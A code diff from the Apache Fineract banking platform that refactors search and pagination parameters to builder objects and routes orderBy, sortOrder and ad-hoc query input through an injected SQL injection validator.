Page<JournalEntryData> entries = this.journalEntryReadPlatformService.retrieveAll(params, null, null, null, null, null, null, Page<JournalEntryData> entries = this.journalEntryReadPlatformService.retrieveAll(params, null, null, null, null, null, null,
transactionId, PortfolioProductType.PROVISIONING.getValue(), null); transactionId, PortfolioProductType.PROVISIONING.getValue(), null);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -264,7 +264,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
whereClose = " and "; whereClose = " and ";
} }
if (searchParameters.isOfficeIdPassed()) { if (searchParameters.hasOfficeId()) {
sqlBuilder.append(whereClose).append(" journalEntry.office_id = ?"); sqlBuilder.append(whereClose).append(" journalEntry.office_id = ?");
objectArray[arrayPos] = searchParameters.getOfficeId(); objectArray[arrayPos] = searchParameters.getOfficeId();
arrayPos = arrayPos + 1; arrayPos = arrayPos + 1;
@@ -272,7 +272,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
whereClose = " and "; whereClose = " and ";
} }
if (searchParameters.isCurrencyCodePassed()) { if (searchParameters.hasCurrencyCode()) {
sqlBuilder.append(whereClose).append(" journalEntry.currency_code = ?"); sqlBuilder.append(whereClose).append(" journalEntry.currency_code = ?");
objectArray[arrayPos] = searchParameters.getCurrencyCode(); objectArray[arrayPos] = searchParameters.getCurrencyCode();
arrayPos = arrayPos + 1; arrayPos = arrayPos + 1;
@@ -339,7 +339,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
} }
} }
if (searchParameters.isLoanIdPassed()) { if (searchParameters.hasLoanId()) {
sqlBuilder.append(whereClose) sqlBuilder.append(whereClose)
.append(" journalEntry.loan_transaction_id in (select id from m_loan_transaction where loan_id = ?)"); .append(" journalEntry.loan_transaction_id in (select id from m_loan_transaction where loan_id = ?)");
objectArray[arrayPos] = searchParameters.getLoanId(); objectArray[arrayPos] = searchParameters.getLoanId();
@@ -347,18 +347,18 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
whereClose = " and "; whereClose = " and ";
} }
if (searchParameters.isSavingsIdPassed()) { if (searchParameters.hasSavingsId()) {
sqlBuilder.append(whereClose).append( sqlBuilder.append(whereClose).append(
" journalEntry.savings_transaction_id in (select id from m_savings_account_transaction where savings_account_id = ?)"); " journalEntry.savings_transaction_id in (select id from m_savings_account_transaction where savings_account_id = ?)");
objectArray[arrayPos] = searchParameters.getSavingsId(); objectArray[arrayPos] = searchParameters.getSavingsId();
arrayPos = arrayPos + 1; arrayPos = arrayPos + 1;
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
} }
@@ -366,9 +366,9 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
sqlBuilder.append(" order by journalEntry.entry_date, journalEntry.id"); sqlBuilder.append(" order by journalEntry.entry_date, journalEntry.id");
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -502,10 +502,6 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
private Page<JournalEntryData> retrieveContraTransactions(final Long officeId, final Long contraId, final String transactionId, private Page<JournalEntryData> retrieveContraTransactions(final Long officeId, final Long contraId, final String transactionId,
final String currencyCode) { final String currencyCode) {
final Integer offset = 0;
final Integer limit = null;
final String orderBy = "journalEntry.id";
final String sortOrder = "ASC";
final Integer entityType = null; final Integer entityType = null;
final Boolean onlyManualEntries = null; final Boolean onlyManualEntries = null;
final LocalDate fromDate = null; final LocalDate fromDate = null;
@@ -513,11 +509,10 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
final LocalDate submittedOnDateFrom = null; final LocalDate submittedOnDateFrom = null;
final LocalDate submittedOnDateTo = null; final LocalDate submittedOnDateTo = null;
final JournalEntryAssociationParametersData associationParametersData = null; final JournalEntryAssociationParametersData associationParametersData = null;
final Long loanId = null;
final Long savingsId = null;
final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId, final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).officeId(officeId).offset(0)
savingsId, currencyCode); .orderBy("journalEntry.id").sortOrder("ASC").currencyCode(currencyCode).build();
return retrieveAll(searchParameters, contraId, onlyManualEntries, fromDate, toDate, submittedOnDateFrom, submittedOnDateTo, return retrieveAll(searchParameters, contraId, onlyManualEntries, fromDate, toDate, submittedOnDateFrom, submittedOnDateTo,
transactionId, entityType, associationParametersData); transactionId, entityType, associationParametersData);
@@ -31,7 +31,6 @@ import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.adhocquery.api.AdHocJsonInputParams; import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
import org.apache.fineract.infrastructure.core.api.JsonCommand; import org.apache.fineract.infrastructure.core.api.JsonCommand;
import org.apache.fineract.infrastructure.core.domain.AbstractAuditableCustom; import org.apache.fineract.infrastructure.core.domain.AbstractAuditableCustom;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
@Getter @Getter
@Setter @Setter
@@ -68,10 +67,7 @@ public class AdHoc extends AbstractAuditableCustom {
public static AdHoc fromJson(final JsonCommand command) { public static AdHoc fromJson(final JsonCommand command) {
final String name = command.stringValueOfParameterNamed(AdHocJsonInputParams.NAME.getValue()); final String name = command.stringValueOfParameterNamed(AdHocJsonInputParams.NAME.getValue());
String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue()); final String query = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
SQLInjectionValidator.validateAdhocQuery(commandQuery);
final String query = commandQuery;
final String tableName = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLENAME.getValue()); final String tableName = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLENAME.getValue());
final String tableFields = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLEFIELDS.getValue()); final String tableFields = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLEFIELDS.getValue());
final String email = command.stringValueOfParameterNamed(AdHocJsonInputParams.EMAIL.getValue()); final String email = command.stringValueOfParameterNamed(AdHocJsonInputParams.EMAIL.getValue());
@@ -21,6 +21,7 @@ package org.apache.fineract.adhocquery.service;
import java.util.Map; import java.util.Map;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
import org.apache.fineract.adhocquery.domain.AdHoc; import org.apache.fineract.adhocquery.domain.AdHoc;
import org.apache.fineract.adhocquery.domain.AdHocRepository; import org.apache.fineract.adhocquery.domain.AdHocRepository;
import org.apache.fineract.adhocquery.exception.AdHocNotFoundException; import org.apache.fineract.adhocquery.exception.AdHocNotFoundException;
@@ -30,6 +31,7 @@ import org.apache.fineract.infrastructure.core.data.CommandProcessingResultBuild
import org.apache.fineract.infrastructure.core.exception.ErrorHandler; import org.apache.fineract.infrastructure.core.exception.ErrorHandler;
import org.apache.fineract.infrastructure.core.exception.PlatformDataIntegrityException; import org.apache.fineract.infrastructure.core.exception.PlatformDataIntegrityException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.dao.DataIntegrityViolationException; import org.springframework.dao.DataIntegrityViolationException;
import org.springframework.dao.NonTransientDataAccessException; import org.springframework.dao.NonTransientDataAccessException;
import org.springframework.orm.jpa.JpaSystemException; import org.springframework.orm.jpa.JpaSystemException;
@@ -42,6 +44,7 @@ public class AdHocWritePlatformServiceJpaRepositoryImpl implements AdHocWritePla
private final PlatformSecurityContext context; private final PlatformSecurityContext context;
private final AdHocRepository adHocRepository; private final AdHocRepository adHocRepository;
private final AdHocDataValidator adHocCommandFromApiJsonDeserializer; private final AdHocDataValidator adHocCommandFromApiJsonDeserializer;
private final SqlValidator sqlValidator;
@Transactional @Transactional
@Override @Override
@@ -52,6 +55,10 @@ public class AdHocWritePlatformServiceJpaRepositoryImpl implements AdHocWritePla
this.adHocCommandFromApiJsonDeserializer.validateForCreate(command.json()); this.adHocCommandFromApiJsonDeserializer.validateForCreate(command.json());
String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
sqlValidator.validate("adhoc", commandQuery);
final AdHoc entity = AdHoc.fromJson(command); final AdHoc entity = AdHoc.fromJson(command);
this.adHocRepository.saveAndFlush(entity); this.adHocRepository.saveAndFlush(entity);
@@ -26,6 +26,7 @@ import org.apache.fineract.adhocquery.service.AdHocWritePlatformService;
import org.apache.fineract.adhocquery.service.AdHocWritePlatformServiceJpaRepositoryImpl; import org.apache.fineract.adhocquery.service.AdHocWritePlatformServiceJpaRepositoryImpl;
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator; import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
@@ -51,8 +52,8 @@ public class AdhocQueryConfiguration {
@Bean @Bean
@ConditionalOnMissingBean(AdHocWritePlatformService.class) @ConditionalOnMissingBean(AdHocWritePlatformService.class)
public AdHocWritePlatformService adHocWritePlatformService(PlatformSecurityContext context, AdHocRepository adHocRepository, public AdHocWritePlatformService adHocWritePlatformService(PlatformSecurityContext context, AdHocRepository adHocRepository,
AdHocDataValidator adHocCommandFromApiJsonDeserializer) { AdHocDataValidator adHocCommandFromApiJsonDeserializer, SqlValidator sqlValidator) {
return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer) { return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer, sqlValidator) {
}; };
} }
@@ -49,6 +49,7 @@ import org.apache.fineract.infrastructure.core.serialization.ApiRequestJsonSeria
import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSerializer; import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSerializer;
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.SQLBuilder; import org.apache.fineract.infrastructure.security.utils.SQLBuilder;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@@ -73,6 +74,7 @@ public class AuditsApiResource {
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DefaultToApiJsonSerializer<AuditData> toApiJsonSerializer; private final DefaultToApiJsonSerializer<AuditData> toApiJsonSerializer;
private final DefaultToApiJsonSerializer<AuditSearchData> toApiJsonSerializerSearchTemplate; private final DefaultToApiJsonSerializer<AuditSearchData> toApiJsonSerializerSearchTemplate;
private final SqlValidator sqlValidator;
@GET @GET
@Consumes({ MediaType.APPLICATION_JSON }) @Consumes({ MediaType.APPLICATION_JSON })
@@ -106,7 +108,10 @@ public class AuditsApiResource {
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) { @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final SQLBuilder extraCriteria = getExtraCriteria(actionName, entityName, resourceId, makerId, makerDateTimeFrom, makerDateTimeTo, final SQLBuilder extraCriteria = getExtraCriteria(actionName, entityName, resourceId, makerId, makerDateTimeFrom, makerDateTimeTo,
checkerId, checkerDateTimeFrom, checkerDateTimeTo, processingResult, officeId, groupId, clientId, loanId, savingsAccountId); checkerId, checkerDateTimeFrom, checkerDateTimeTo, processingResult, officeId, groupId, clientId, loanId, savingsAccountId);
@@ -168,7 +168,7 @@ public class AuditReadPlatformServiceImpl implements AuditReadPlatformService {
@Override @Override
public Collection<AuditData> retrieveAuditEntries(final SQLBuilder extraCriteria, final boolean includeJson) { public Collection<AuditData> retrieveAuditEntries(final SQLBuilder extraCriteria, final boolean includeJson) {
return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.getCheckedLimit(null), return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.DEFAULT_MAX_LIMIT,
includeJson); includeJson);
} }
@@ -185,14 +185,14 @@ public class AuditReadPlatformServiceImpl implements AuditReadPlatformService {
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " "); sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(rm.schema(includeJson, hierarchy)); sqlBuilder.append(rm.schema(includeJson, hierarchy));
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate()); sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
if (parameters.isOrderByRequested()) { if (parameters.hasOrderBy()) {
sqlBuilder.append(' ').append(parameters.orderBySql()); sqlBuilder.append(' ').append(parameters.orderBySql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
} else { } else {
sqlBuilder.append(' ').append(' ').append(" order by aud.id DESC"); sqlBuilder.append(' ').append(' ').append(" order by aud.id DESC");
} }
if (parameters.isLimited()) { if (parameters.hasLimit()) {
sqlBuilder.append(' ').append(parameters.limitSql()); sqlBuilder.append(' ').append(parameters.limitSql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
} }
@@ -272,7 +272,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
if (officeId == null) { if (officeId == null) {
Boolean includeAllOffices = Boolean.TRUE; Boolean includeAllOffices = Boolean.TRUE;
offices = (List) this.officeReadPlatformService.retrieveAllOffices(includeAllOffices, offices = (List) this.officeReadPlatformService.retrieveAllOffices(includeAllOffices,
new SearchParameters(null, null, null, null, null, null, null, null, "id", "asc", null, null, null, null, null, null)); SearchParameters.builder().orderBy("id").sortOrder("asc").build());
} else { } else {
offices = new ArrayList<>(); offices = new ArrayList<>();
offices.add(this.officeReadPlatformService.retrieveOffice(officeId)); offices.add(this.officeReadPlatformService.retrieveOffice(officeId));
@@ -341,7 +341,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
if (officeId == null) { if (officeId == null) {
centers = (List<CenterData>) this.centerReadPlatformService.retrieveAll(null, null); centers = (List<CenterData>) this.centerReadPlatformService.retrieveAll(null, null);
} else { } else {
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null); SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
centers = (List<CenterData>) centerReadPlatformService.retrieveAll(searchParameters, null); centers = (List<CenterData>) centerReadPlatformService.retrieveAll(searchParameters, null);
} }
@@ -359,7 +359,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
} }
} }
} else { } else {
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null); SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
Page<ClientData> clientDataPage = this.clientReadPlatformService.retrieveAll(searchParameters); Page<ClientData> clientDataPage = this.clientReadPlatformService.retrieveAll(searchParameters);
if (clientDataPage != null) { if (clientDataPage != null) {
clients = new ArrayList<>(); clients = new ArrayList<>();
@@ -420,7 +420,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
if (officeId == null) { if (officeId == null) {
groups = (List<GroupGeneralData>) this.groupReadPlatformService.retrieveAll(null, null); groups = (List<GroupGeneralData>) this.groupReadPlatformService.retrieveAll(null, null);
} else { } else {
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null); SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
groups = (List<GroupGeneralData>) groupReadPlatformService.retrieveAll(searchParameters, null); groups = (List<GroupGeneralData>) groupReadPlatformService.retrieveAll(searchParameters, null);
} }
@@ -448,7 +448,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
if (officeId == null) { if (officeId == null) {
loanAccounts = loanReadPlatformService.retrieveAll(null).getPageItems(); loanAccounts = loanReadPlatformService.retrieveAll(null).getPageItems();
} else { } else {
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null); SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
loanAccounts = loanReadPlatformService.retrieveAll(searchParameters).getPageItems(); loanAccounts = loanReadPlatformService.retrieveAll(searchParameters).getPageItems();
} }
return loanAccounts; return loanAccounts;
@@ -48,6 +48,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@Path("/v1/email") @Path("/v1/email")
@@ -63,6 +64,7 @@ public class EmailApiResource {
private final DefaultToApiJsonSerializer<EmailData> toApiJsonSerializer; private final DefaultToApiJsonSerializer<EmailData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService; private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final SqlValidator sqlValidator;
@GET @GET
public String retrieveAllEmails(@Context final UriInfo uriInfo) { public String retrieveAllEmails(@Context final UriInfo uriInfo) {
@@ -78,7 +80,10 @@ public class EmailApiResource {
@QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) { @QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllPending(searchParameters); Collection<EmailData> emailMessages = readPlatformService.retrieveAllPending(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, emailMessages); return toApiJsonSerializer.serialize(settings, emailMessages);
@@ -91,7 +96,10 @@ public class EmailApiResource {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllSent(searchParameters); Collection<EmailData> emailMessages = readPlatformService.retrieveAllSent(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -131,7 +139,10 @@ public class EmailApiResource {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS); context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllFailed(searchParameters); Collection<EmailData> emailMessages = readPlatformService.retrieveAllFailed(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -58,6 +58,7 @@ import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@Path("/v1/smscampaigns") @Path("/v1/smscampaigns")
@@ -74,6 +75,7 @@ public class SmsCampaignApiResource {
private final DefaultToApiJsonSerializer<CampaignPreviewData> previewCampaignMessageDefaultToApiJsonSerializer; private final DefaultToApiJsonSerializer<CampaignPreviewData> previewCampaignMessageDefaultToApiJsonSerializer;
private final SmsCampaignWritePlatformService smsCampaignWritePlatformService; private final SmsCampaignWritePlatformService smsCampaignWritePlatformService;
private final PlatformSecurityContext context; private final PlatformSecurityContext context;
private final SqlValidator sqlValidator;
private static final String RESOURCE_NAME_FOR_PERMISSIONS = "SMS_CAMPAIGN"; private static final String RESOURCE_NAME_FOR_PERMISSIONS = "SMS_CAMPAIGN";
@@ -142,7 +144,10 @@ public class SmsCampaignApiResource {
public String retrieveAllEmails(@QueryParam("offset") final Integer offset, @QueryParam("limit") final Integer limit, public String retrieveAllEmails(@QueryParam("offset") final Integer offset, @QueryParam("limit") final Integer limit,
@QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) { @QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
platformSecurityContext.authenticatedUser().validateHasReadPermission(SmsCampaignConstants.RESOURCE_NAME); platformSecurityContext.authenticatedUser().validateHasReadPermission(SmsCampaignConstants.RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Page<SmsCampaignData> smsCampaignDataCollection = smsCampaignReadPlatformService.retrieveAll(searchParameters); Page<SmsCampaignData> smsCampaignDataCollection = smsCampaignReadPlatformService.retrieveAll(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, smsCampaignDataCollection); return toApiJsonSerializer.serialize(settings, smsCampaignDataCollection);
@@ -94,9 +94,9 @@ public class SmsCampaignReadPlatformServiceImpl implements SmsCampaignReadPlatfo
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " "); sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(this.smsCampaignMapper.schema() + " where sc.is_visible = ? "); sqlBuilder.append(this.smsCampaignMapper.schema() + " where sc.is_visible = ? ");
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -77,7 +77,7 @@ public class EntityDatatableChecksApiResource {
@QueryParam("productId") @Parameter(description = "productId") final Long productId, @QueryParam("productId") @Parameter(description = "productId") final Long productId,
@QueryParam("offset") @Parameter(description = "offset") final Integer offset, @QueryParam("offset") @Parameter(description = "offset") final Integer offset,
@QueryParam("limit") @Parameter(description = "limit") final Integer limit) { @QueryParam("limit") @Parameter(description = "limit") final Integer limit) {
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit); final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<EntityDataTableChecksData> result = this.readEntityDatatableChecksService.retrieveAll(searchParameters, status, entity, final Page<EntityDataTableChecksData> result = this.readEntityDatatableChecksService.retrieveAll(searchParameters, status, entity,
productId); productId);
@@ -24,7 +24,6 @@ import java.util.Arrays;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Optional; import java.util.Optional;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.api.ApiParameterHelper; import org.apache.fineract.infrastructure.core.api.ApiParameterHelper;
@@ -34,17 +33,23 @@ import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
import org.apache.fineract.infrastructure.dataqueries.service.export.DatatableReportExportService; import org.apache.fineract.infrastructure.dataqueries.service.export.DatatableReportExportService;
import org.apache.fineract.infrastructure.dataqueries.service.export.ResponseHolder; import org.apache.fineract.infrastructure.dataqueries.service.export.ResponseHolder;
import org.apache.fineract.infrastructure.report.annotation.ReportService; import org.apache.fineract.infrastructure.report.annotation.ReportService;
import org.apache.fineract.infrastructure.report.service.ReportingProcessService; import org.apache.fineract.infrastructure.report.service.AbstractReportingProcessService;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
@Service @Service
@ReportService(type = { "Table", "Chart", "SMS" }) @ReportService(type = { "Table", "Chart", "SMS" })
@RequiredArgsConstructor
@Slf4j @Slf4j
public class DatatableReportingProcessService implements ReportingProcessService { public class DatatableReportingProcessService extends AbstractReportingProcessService {
private final List<DatatableReportExportService> exportServices; private final List<DatatableReportExportService> exportServices;
public DatatableReportingProcessService(List<DatatableReportExportService> exportServices, SqlValidator sqlValidator) {
super(sqlValidator);
this.exportServices = exportServices;
}
@Override @Override
public Response processRequest(String reportName, MultivaluedMap<String, String> queryParams) { public Response processRequest(String reportName, MultivaluedMap<String, String> queryParams) {
boolean isSelfServiceUserReport = Boolean.parseBoolean( boolean isSelfServiceUserReport = Boolean.parseBoolean(
@@ -109,9 +109,9 @@ public class EntityDatatableChecksReadPlatformServiceImpl implements EntityDatat
paramList.add(productId); paramList.add(productId);
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
